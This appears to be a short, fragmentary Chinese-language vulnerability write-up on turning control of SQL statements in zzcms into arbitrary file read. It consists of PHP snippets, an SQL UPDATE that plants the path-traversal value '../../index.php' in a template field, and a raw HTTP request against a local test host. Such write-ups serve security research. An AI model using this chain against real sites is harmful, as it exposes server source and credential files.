从 sql 语句的控制到任意文件读取挖掘思路
$fp=zzcmsroot."template/".$siteskin."/".$tpl;
$skin=$row["skin"];
if ($skin==''){
$skin='siteinfo.htm';
}
$rs=query("Select * From zzcms_about where id='$info_id'" ) ;
$row=num_rows($rs);
if ($row){
$row=fetch_array($rs);
$content=stripfxg($row["content"],true);
$title=$row["title"];
}else{
$content="暂无信息";
$title="暂无信息";
}
$skin=$row["skin"];
if ($skin==''){
$skin='siteinfo.htm';
}
Select * From zzcms_about where id='$info_id'"
update zzcms_about set title='',content='',link='',skin='../../index.php',passed=1 where id='1'
function query($sql){ //执行针对数据库的查询
//echo $sql;
global $conn;
return mysqli_query($conn,$sql);
}
GET /one/siteinfo.php?id=1 HTTP/1.1
Host: zzcms:8786
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hbh6knfegltaidha9upgu6612i;XDEBUG_SESSION=PHPSTORM
Connection: keep-alive
没有评论